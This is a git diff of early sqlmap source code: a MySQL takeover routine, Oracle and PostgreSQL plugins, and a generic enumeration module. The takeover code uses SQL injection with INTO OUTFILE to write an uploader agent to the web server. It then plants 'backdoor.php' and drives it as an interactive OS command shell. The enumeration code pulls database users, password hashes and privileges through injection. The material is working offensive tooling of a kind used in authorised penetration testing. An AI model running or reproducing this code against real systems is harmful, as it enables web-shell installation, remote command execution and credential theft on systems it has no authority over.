+ Such agent is written using the INTO OUTFILE MySQL DBMS + functionality + + @todo: * Add a web application crawling functionality to detect + all (at least most) web server directories and merge with + Google results if the target host is a publicly available + hostname or IP address; + * Extend to all DBMS using their functionalities (UDF, stored + procedures, etc) to write files on the system or directly + execute commands on the system without passing by the agent; + * Automatically detect the web server available interpreters + parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP + response headers; + * Extend the agent to other interpreters rather than only PHP: + ASP, JSP, CGI (Python, Perl, Ruby, Bash). + """ + + logMsg = "retrieving web application directories" + logger.info(logMsg) + + directories = getDirectories() + + if directories: + logMsg = "retrieved web server directories " + logMsg += "'%s'" % ", ".join(d for d in directories) + logger.info(logMsg) + + message = "in addition you can provide a list of directories " + message += "absolute path comma separated that you want sqlmap " + message += "to try to upload the agent [/var/www/test]: " + inputDirs = readInput(message, default="/var/www/test") + else: + message = "please provide the web server document root [/var/www]: " + inputDocRoot = readInput(message, default="/var/www") + + if inputDocRoot: + kb.docRoot = inputDocRoot + else: + kb.docRoot = "/var/www" + + message = "please provide a list of directories absolute path " + message += "comma separated that you want sqlmap to try to " + message += "upload the agent [/var/www/test]: " + inputDirs = readInput(message, default="/var/www/test") + + if inputDirs: + inputDirs = inputDirs.replace(", ", ",") + inputDirs = inputDirs.split(",") + + for inputDir in inputDirs: + directories.add(inputDir) + else: + directories.add("/var/www/test") + + logMsg = "trying to upload the uploader agent" + logger.info(logMsg) + + directories = list(directories) + directories.sort() + uploaded = False + + backdoorName = "backdoor.php" + backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName) + uploaderName = "uploader.php" + uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName)) + + for directory in directories: + if uploaded: + break + + # Upload the uploader agent + uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory) + query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName) + query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery + + query = agent.prefixQuery(query) + query = agent.postfixQuery(query) + + payload = agent.payload(newValue=query) + page = Request.queryPage(payload) + + if kb.docRoot: + requestDir = directory.replace(kb.docRoot, "") + else: + requestDir = directory + + baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir) + uploaderUrl = "%s/%s" % (baseUrl, uploaderName) + page = Request.getPage(url=uploaderUrl, direct=True) + + if "sqlmap backdoor uploader" not in page: + warnMsg = "unable to upload the uploader " + warnMsg += "agent on '%s'" % directory + logger.warn(warnMsg) + + continue + + logMsg = "the uploader agent has been successfully uploaded " + logMsg += "on '%s'" % directory + logger.info(logMsg) + + # Upload the backdoor through the uploader agent + multipartParams = { + "upload": "1", + "file": open(backdoorPath, "r"), + "uploadDir": directory, + } + uploaderUrl = "%s/%s" % (baseUrl, uploaderName) + page = Request.getPage(url=uploaderUrl, multipart=multipartParams) + + if "Backdoor uploaded" not in page: + warnMsg = "unable to upload the backdoor through " + warnMsg += "the uploader agent on '%s'" % directory + logger.warn(warnMsg) + + continue + + uploaded = True + + backdoorUrl = "%s/%s" % (baseUrl, backdoorName) + logMsg = "the backdoor has been successfully uploaded on " + logMsg += "'%s', go with your browser to " % directory + logMsg += "'%s' and enjoy it!" % backdoorUrl + logger.info(logMsg) + + message = "do you want to use the uploaded backdoor as a " + message += "shell to execute commands right now? [Y/n] " + shell = readInput(message, default="Y") + + if shell in ("n", "N"): + continue + + logMsg = "calling OS shell. To quit type " + logMsg += "'x' or 'q' and press ENTER" + logger.info(logMsg) + + autoCompletion(osShell=True) + + while True: + command = None + + try: + command = raw_input("$ ") + except KeyboardInterrupt: + print + errMsg = "user aborted" + logger.error(errMsg) + except EOFError: + print + errMsg = "exit" + logger.error(errMsg) + break + + if not command: + continue + + if command.lower() in ( "x", "q", "exit", "quit" ): + break + + cmdUrl = "%s?cmd=%s" % (backdoorUrl, command) + page = Request.getPage(url=cmdUrl, direct=True) + output = re.search("<pre>(.+?)</pre>", page, re.I | re.S) + + if output: + print output.group(1) + else: + print "No output" diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle.py new file mode 100644 index 000000000..a1252aea3 --- /dev/null +++ b/plugins/dbms/oracle.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python + +""" +$Id: oracle.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import ORACLE_ALIASES +from lib.core.settings import ORACLE_SYSTEM_DBS +from lib.core.unescaper import unescaper +from lib.request import inject +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines Oracle methods + """ + + + def __init__(self): + Enumeration.__init__(self, "Oracle") + + unescaper.setUnescape(OracleMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + #unescaped = "" + unescaped = "(" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + unescaped += ")" + expression = expression.replace(old, unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHR(", "").replace(")", "") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def getFingerprint(self): + if not conf.extensiveFp: + return "Oracle" + + actVer = formatFingerprint() + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + + if self.banner: + banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner) + + if banVer: + banVer = banVer.groups()[0] + banVer = formatFingerprint([banVer]) + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in ORACLE_ALIASES: + setDbms("Oracle") + + if not conf.extensiveFp: + return True + + logMsg = "testing Oracle" + logger.info(logMsg) + + query = "LENGTH(SYSDATE)" + sysdate = inject.getValue(query) + + if sysdate and int(sysdate) > 0: + logMsg = "confirming Oracle" + logger.info(logMsg) + + query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1" + version = inject.getValue(query) + + if not version: + warnMsg = "the back-end DMBS is not Oracle" + logger.warn(warnMsg) + + return False + + setDbms("Oracle") + + if not conf.extensiveFp: + return True + + if re.search("^11\.", version): + kb.dbmsVersion = ["11i"] + elif re.search("^10\.", version): + kb.dbmsVersion = ["10g"] + elif re.search("^9\.", version): + kb.dbmsVersion = ["9i"] + elif re.search("^8\.", version): + kb.dbmsVersion = ["8i"] + + if conf.getBanner: + self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1") + + return True + else: + warnMsg = "the back-end DMBS is not Oracle" + logger.warn(warnMsg) + + return False + + + def getDbs(self): + warnMsg = "this plugin can not enumerate databases" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py new file mode 100644 index 000000000..631ec3c61 --- /dev/null +++ b/plugins/dbms/postgresql.py @@ -0,0 +1,202 @@ +#!/usr/bin/env python + +""" +$Id: postgresql.py 286 2008-07-25 23:09:48Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapSyntaxException +from lib.core.session import setDbms +from lib.core.settings import PGSQL_ALIASES +from lib.core.unescaper import unescaper +from lib.request import inject +#from lib.utils.fuzzer import passiveFuzzing + +from plugins.generic.enumeration import Enumeration +from plugins.generic.filesystem import Filesystem +from plugins.generic.fingerprint import Fingerprint +from plugins.generic.takeover import Takeover + + +class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover): + """ + This class defines PostgreSQL methods + """ + + def __init__(self): + Enumeration.__init__(self, "PostgreSQL") + + unescaper.setUnescape(PostgreSQLMap.unescape) + + + @staticmethod + def unescape(expression): + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + unescaped = "(" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + unescaped += ")" + expression = expression.replace(old, unescaped) + + return expression + + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHR(", "").replace(")", "") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression + + + def getFingerprint(self): + if not conf.extensiveFp: + return "PostgreSQL" + + actVer = formatFingerprint() + + blank = " " * 16 + value = "active fingerprint: %s" % actVer + + if self.banner: + banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner) + banVer = banVer.groups()[0] + banVer = formatFingerprint([banVer]) + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + #passiveFuzzing() + htmlParsed = getHtmlErrorFp() + + if htmlParsed: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed) + + return value + + + def checkDbms(self): + if conf.dbms in PGSQL_ALIASES: + setDbms("PostgreSQL") + + if not conf.extensiveFp: + return True + + logMsg = "testing PostgreSQL" + logger.info(logMsg) + + randInt = str(randomInt(1)) + query = "COALESCE(%s, NULL)" % randInt + + if inject.getValue(query) == randInt: + logMsg = "confirming PostgreSQL" + logger.info(logMsg) + + query = "LENGTH('%s')" % randInt + + if not inject.getValue(query) == "1": + warnMsg = "the back-end DMBS is not PostgreSQL" + logger.warn(warnMsg) + + return False + + setDbms("PostgreSQL") + + if not conf.extensiveFp: + return True + + if inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") == "2": + kb.dbmsVersion = [">= 8.2.0"] + elif inject.getValue("GREATEST(5, 9, 1)") == "9": + kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] + elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3": + kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] + elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"): + kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] + elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p": + kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] + elif inject.getValue("BIT_LENGTH(1)") == "8": + kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] + elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a": + kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] + elif inject.getValue("POW(2, 3)") == "8": + kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] + elif inject.getValue("MAX('a')") == "a": + kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] + elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")): + kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] + elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2": + kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] + elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s": + kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] + else: + kb.dbmsVersion = ["< 6.2.0"] + + if conf.getBanner: + self.banner = inject.getValue("VERSION()") + + return True + else: + warnMsg = "the back-end DMBS is not PostgreSQL" + logger.warn(warnMsg) + + return False diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py new file mode 100644 index 000000000..e8fee9d67 --- /dev/null +++ b/plugins/generic/__init__.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +""" +$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +pass diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py new file mode 100644 index 000000000..1e5effebe --- /dev/null +++ b/plugins/generic/enumeration.py @@ -0,0 +1,1077 @@ +#!/usr/bin/env python + +""" +$Id: enumeration.py 363 2008-09-21 23:56:32Z inquisb $ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> + and Daniele Bellucci <daniele.bellucci@gmail.com> + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + + + +import re + +from lib.core.agent import agent +from lib.core.common import getRange +from lib.core.common import parsePasswordHash +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.data import queries +from lib.core.data import temp +from lib.core.dump import dumper +from lib.core.exception import sqlmapMissingMandatoryOptionException +from lib.core.exception import sqlmapNoneDataException +from lib.core.exception import sqlmapUndefinedMethod +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.core.settings import MYSQL_SYSTEM_DBS +from lib.core.settings import PGSQL_SYSTEM_DBS +from lib.core.settings import ORACLE_SYSTEM_DBS +from lib.core.settings import MSSQL_SYSTEM_DBS +from lib.core.shell import autoCompletion +from lib.request import inject +from lib.request.connect import Connect as Request + + +class Enumeration: + """ + This class defines generic enumeration functionalities for plugins. + + """ + + def __init__(self, dbms): + self.has_information_schema = None + + self.banner = "" + self.currentUser = "" + self.currentDb = "" + self.cachedUsers = [] + self.cachedUsersPassword = {} + self.cachedUsersPrivileges = {} + self.cachedDbs = [] + self.cachedTables = {} + self.cachedColumns = {} + self.dumpedTable = {} + + temp.inference = queries[dbms].inference + + if dbms == "MySQL": + self.excludeDbsList = MYSQL_SYSTEM_DBS + elif dbms == "PostgreSQL": + self.excludeDbsList = PGSQL_SYSTEM_DBS + elif dbms == "Oracle": + self.excludeDbsList = ORACLE_SYSTEM_DBS + elif dbms == "Microsoft SQL Server": + self.excludeDbsList = MSSQL_SYSTEM_DBS + + + def getBanner(self): + logMsg = "fetching banner" + logger.info(logMsg) + + query = queries[kb.dbms].banner + + if not self.banner: + self.banner = inject.getValue(query) + + return self.banner + + + def getCurrentUser(self): + logMsg = "fetching current user" + logger.info(logMsg) + + query = queries[kb.dbms].currentUser + + if not self.currentUser: + self.currentUser = inject.getValue(query) + + return self.currentUser + + + def getCurrentDb(self): + logMsg = "fetching current database" + logger.info(logMsg) + + query = queries[kb.dbms].currentDb + + if not self.currentDb: + self.currentDb = inject.getValue(query) + + return self.currentDb + + + def getUsers(self): + logMsg = "fetching database users" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].users + + condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) ) + condition |= ( kb.dbms == "MySQL" and not self.has_information_schema ) + + if conf.unionUse: + if condition: + query = rootQuery["inband"]["query2"] + else: + query = rootQuery["inband"]["query"] + value = inject.getValue(query, blind=False) + + if value: + self.cachedUsers = value + + if not self.cachedUsers: + logMsg = "fetching number of database users" + logger.info(logMsg) + + if condition: + query = rootQuery["blind"]["count2"] + else: + query = rootQuery["blind"]["count"] + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of database users" + raise sqlmapNoneDataException, errMsg + + indexRange = getRange(count) + + for index in indexRange: + if condition: + query = rootQuery["blind"]["query2"] % index + else: + query = rootQuery["blind"]["query"] % index + user = inject.getValue(query, inband=False) + + if user: + self.cachedUsers.append(user) + + if not self.cachedUsers: + errMsg = "unable to retrieve the database users" + raise sqlmapNoneDataException, errMsg + + return self.cachedUsers + + + def getPasswordHashes(self): + logMsg = "fetching database users password hashes" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].passwords + + if conf.unionUse: + if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + query = rootQuery["inband"]["query2"] + else: + query = rootQuery["inband"]["query"] + + condition = rootQuery["inband"]["condition"] + + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + query += " WHERE " + query += " OR ".join("%s = '%s'" % (condition, user) for user in users) + else: + query += " WHERE %s = '%s'" % (condition, conf.user) + + value = inject.getValue(query, blind=False) + + if value: + for user, password in value: + if not user or user == " ": + continue + + password = parsePasswordHash(password) + + if not self.cachedUsersPassword.has_key(user): + self.cachedUsersPassword[user] = [password] + else: + self.cachedUsersPassword[user].append(password) + + if not self.cachedUsersPassword: + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + else: + users = [conf.user] + else: + if not len(self.cachedUsers): + users = self.getUsers() + else: + users = self.cachedUsers + + retrievedUsers = set() + + for user in users: + if kb.dbms == "MySQL": + parsedUser = re.search("\047(.*?)\047@'", user) + + if parsedUser: + user = parsedUser.groups()[0] + + if user in retrievedUsers: + continue + + logMsg = "fetching number of password hashes " + logMsg += "for user '%s'" % user + logger.info(logMsg) + + if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ): + query = rootQuery["blind"]["count2"] % user + else: + query = rootQuery["blind"]["count"] % user + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of password " + warnMsg += "hashes for user '%s'" % user + logger.warn(warnMsg) + continue + + logMsg = "fetching password hashes for user '%s'" % user + logger.info(logMsg) + + passwords = [] + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms == "Microsoft SQL Server": + if kb.dbmsVersion[0] in ( "2005", "2008" ): + query = rootQuery["blind"]["query2"] % (user, index, user) + else: + query = rootQuery["blind"]["query"] % (user, index, user) + else: + query = rootQuery["blind"]["query"] % (user, index) + password = inject.getValue(query, inband=False) + password = parsePasswordHash(password) + passwords.append(password) + + if passwords: + self.cachedUsersPassword[user] = passwords + else: + warnMsg = "unable to retrieve the password " + warnMsg += "hashes for user '%s'" % user + logger.warn(warnMsg) + + retrievedUsers.add(user) + + if not self.cachedUsersPassword: + errMsg = "unable to retrieve the password " + errMsg += "hashes for the database users" + raise sqlmapNoneDataException, errMsg + + return self.cachedUsersPassword + + + def __isAdminFromPrivileges(self, privileges): + # In PostgreSQL the usesuper privilege means that the + # user is DBA + dbaCondition = ( kb.dbms == "PostgreSQL" and "super" in privileges ) + + # In Oracle the DBA privilege means that the + # user is DBA + dbaCondition |= ( kb.dbms == "Oracle" and "DBA" in privileges ) + + # In MySQL >= 5.0 the SUPER privilege means + # that the user is DBA + dbaCondition |= ( kb.dbms == "MySQL" and self.has_information_schema and "SUPER" in privileges ) + + # In MySQL < 5.0 the super_priv privilege means + # that the user is DBA + dbaCondition |= ( kb.dbms == "MySQL" and not self.has_information_schema and "super_priv" in privileges ) + + return dbaCondition + + + def getPrivileges(self): + logMsg = "fetching database users privileges" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].privileges + + # Set containing the list of DBMS administrators + areAdmins = set() + + mysqlPrivs = ( + ( 1, "select_priv" ), + ( 2, "insert_priv" ), + ( 3, "update_priv" ), + ( 4, "delete_priv" ), + ( 5, "create_priv" ), + ( 6, "drop_priv" ), + ( 7, "reload_priv" ), + ( 8, "shutdown_priv" ), + ( 9, "process_priv" ), + ( 10, "file_priv" ), + ( 11, "grant_priv" ), + ( 12, "references_priv" ), + ( 13, "index_priv" ), + ( 14, "alter_priv" ), + ( 15, "show_db_priv" ), + ( 16, "super_priv" ), + ( 17, "create_tmp_table_priv" ), + ( 18, "lock_tables_priv" ), + ( 19, "execute_priv" ), + ( 20, "repl_slave_priv" ), + ( 21, "repl_client_priv" ), + ( 22, "create_view_priv" ), + ( 23, "show_view_priv" ), + ( 24, "create_routine_priv" ), + ( 25, "alter_routine_priv" ), + ( 26, "create_user_priv" ), + ) + + pgsqlPrivs = ( + ( 1, "createdb" ), + ( 2, "super" ), + ( 3, "catupd" ), + ) + + if conf.unionUse: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["inband"]["query2"] + condition = rootQuery["inband"]["condition2"] + else: + query = rootQuery["inband"]["query"] + condition = rootQuery["inband"]["condition"] + + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + query += " WHERE " + # NOTE: we need this here only for MySQL 5.0 because + # of a known issue explained in queries.xml + if kb.dbms == "MySQL" and self.has_information_schema: + likeUser = "%" + conf.user + "%" + query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users) + else: + query += " OR ".join("%s = '%s'" % (condition, user) for user in users) + else: + # NOTE: we need this here only for MySQL 5.0 because + # of a known issue explained in queries.xml + if kb.dbms == "MySQL" and self.has_information_schema: + likeUser = "%" + conf.user + "%" + query += " WHERE %s LIKE '%s'" % (condition, likeUser) + else: + query += " WHERE %s = '%s'" % (condition, conf.user) + + values = inject.getValue(query, blind=False) + + if values: + for value in values: + user = None + privileges = set() + + for count in xrange(0, len(value)): + # The first column is always the username + if count == 0: + user = value[count] + + # The other columns are the privileges + else: + privilege = value[count] + + # In PostgreSQL we get 1 if the privilege is + # True, 0 otherwise + if kb.dbms == "PostgreSQL" and privilege.isdigit(): + for position, pgsqlPriv in pgsqlPrivs: + if count == position and int(privilege) == 1: + privileges.add(pgsqlPriv) + + # In MySQL >= 5.0 and Oracle we get the list + # of privileges as string + elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): + privileges.add(privilege) + + # In MySQL < 5.0 we get Y if the privilege is + # True, N otherwise + elif kb.dbms == "MySQL" and not self.has_information_schema: + for position, mysqlPriv in mysqlPrivs: + if count == position and privilege.upper() == "Y": + privileges.add(mysqlPriv) + + if self.__isAdminFromPrivileges(privileges): + areAdmins.add(user) + + if self.cachedUsersPrivileges.has_key(user): + self.cachedUsersPrivileges[user].extend(privileges) + else: + self.cachedUsersPrivileges[user] = list(privileges) + + if not self.cachedUsersPrivileges: + if conf.user: + if "," in conf.user: + users = conf.user.split(",") + else: + users = [conf.user] + else: + if not len(self.cachedUsers): + users = self.getUsers() + else: + users = self.cachedUsers + + retrievedUsers = set() + + for user in users: + if kb.dbms == "MySQL": + parsedUser = re.search("\047(.*?)\047@'", user) + + if parsedUser: + user = parsedUser.groups()[0].replace("'", "") + + if user in retrievedUsers: + continue + + logMsg = "fetching number of privileges " + logMsg += "for user '%s'" % user + logger.info(logMsg) + + if kb.dbms == "MySQL" and self.has_information_schema: + likeUser = "%" + user + "%" + else: + likeUser = user + + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["count2"] % likeUser + else: + query = rootQuery["blind"]["count"] % likeUser + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + warnMsg = "unable to retrieve the number of " + warnMsg += "privileges for user '%s'" % likeUser + logger.warn(warnMsg) + continue + + logMsg = "fetching privileges for user '%s'" % likeUser + logger.info(logMsg) + + privileges = set() + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["query2"] % (likeUser, index) + else: + query = rootQuery["blind"]["query"] % (likeUser, index) + privilege = inject.getValue(query, inband=False) + + # In PostgreSQL we return 1 if the privilege + # if True, otherwise 0 + if kb.dbms == "PostgreSQL" and ", " in privilege: + privilege = privilege.replace(", ", ",") + privs = privilege.split(",") + i = 1 + + for priv in privs: + if priv.isdigit() and int(priv) == 1: + for position, pgsqlPriv in pgsqlPrivs: + if position == i: + privileges.add(pgsqlPriv) + + i += 1 + + # In MySQL >= 5.0 and Oracle we get the list + # of privileges as string + elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ): + privileges.add(privilege) + + # In MySQL < 5.0 we get Y if the privilege is + # True, N otherwise + elif kb.dbms == "MySQL" and not self.has_information_schema: + privilege = privilege.replace(", ", ",") + privs = privilege.split(",") + i = 1 + + for priv in privs: + if priv.upper() == "Y": + for position, mysqlPriv in mysqlPrivs: + if position == i: + privileges.add(mysqlPriv) + + i += 1 + + if self.__isAdminFromPrivileges(privileges): + areAdmins.add(user) + + if privileges: + self.cachedUsersPrivileges[user] = list(privileges) + else: + warnMsg = "unable to retrieve the privileges " + warnMsg += "for user '%s'" % user + logger.warn(warnMsg) + + retrievedUsers.add(user) + + if not self.cachedUsersPrivileges: + errMsg = "unable to retrieve the privileges " + errMsg += "for the database users" + raise sqlmapNoneDataException, errMsg + + return ( self.cachedUsersPrivileges, areAdmins ) + + + def getDbs(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + warnMsg = "information_schema not available, " + warnMsg += "back-end DBMS is MySQL < 5. database " + warnMsg += "names will be fetched from 'mysql' table" + logger.warn(warnMsg) + + logMsg = "fetching database names" + logger.info(logMsg) + + rootQuery = queries[kb.dbms].dbs + + if conf.unionUse: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["inband"]["query2"] + else: + query = rootQuery["inband"]["query"] + value = inject.getValue(query, blind=False) + + if value: + self.cachedDbs = value + + if not self.cachedDbs: + logMsg = "fetching number of databases" + logger.info(logMsg) + + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["count2"] + else: + query = rootQuery["blind"]["count"] + count = inject.getValue(query, inband=False) + + if not len(count) or count == "0": + errMsg = "unable to retrieve the number of databases" + raise sqlmapNoneDataException, errMsg + + indexRange = getRange(count) + + for index in indexRange: + if kb.dbms == "MySQL" and not self.has_information_schema: + query = rootQuery["blind"]["query2"] % index + else: + query = rootQuery["blind"]["query"] % index + db = inject.getValue(query, inband=False) + + if db: + self.cachedDbs.append(db) + + if not self.cachedDbs: + errMsg = "unable to retrieve the database names" + raise sqlmapNoneDataException, errMsg + + return self.cachedDbs + + + def getTables(self): + if kb.dbms == "MySQL" and not self.has_information_schema: + errMsg = "information_schema not available, " + errMsg += "back-end DBMS is MySQL < 5.0" + raise sqlmapUnsupportedFeatureException, errMsg + + if kb.dbms == "Oracle": + if conf.db: + conf.db = conf.db.upper() + else: + conf.db = "USERS" + + warnMsg = "on Oracle it is only possible to enumerate " + warnMsg += "tables if you provide a TABLESPACE_NAME as " + warnMsg += "database name. sqlmap is going to use " + warnMsg += "'USERS' to retrieve all tables owned by an " + warnMsg += "Oracle database management system user" + logger.warn(warnMsg) + + logMsg = "fetching tables" + if conf.db: + logMsg += " for database '%s'" % conf.db + 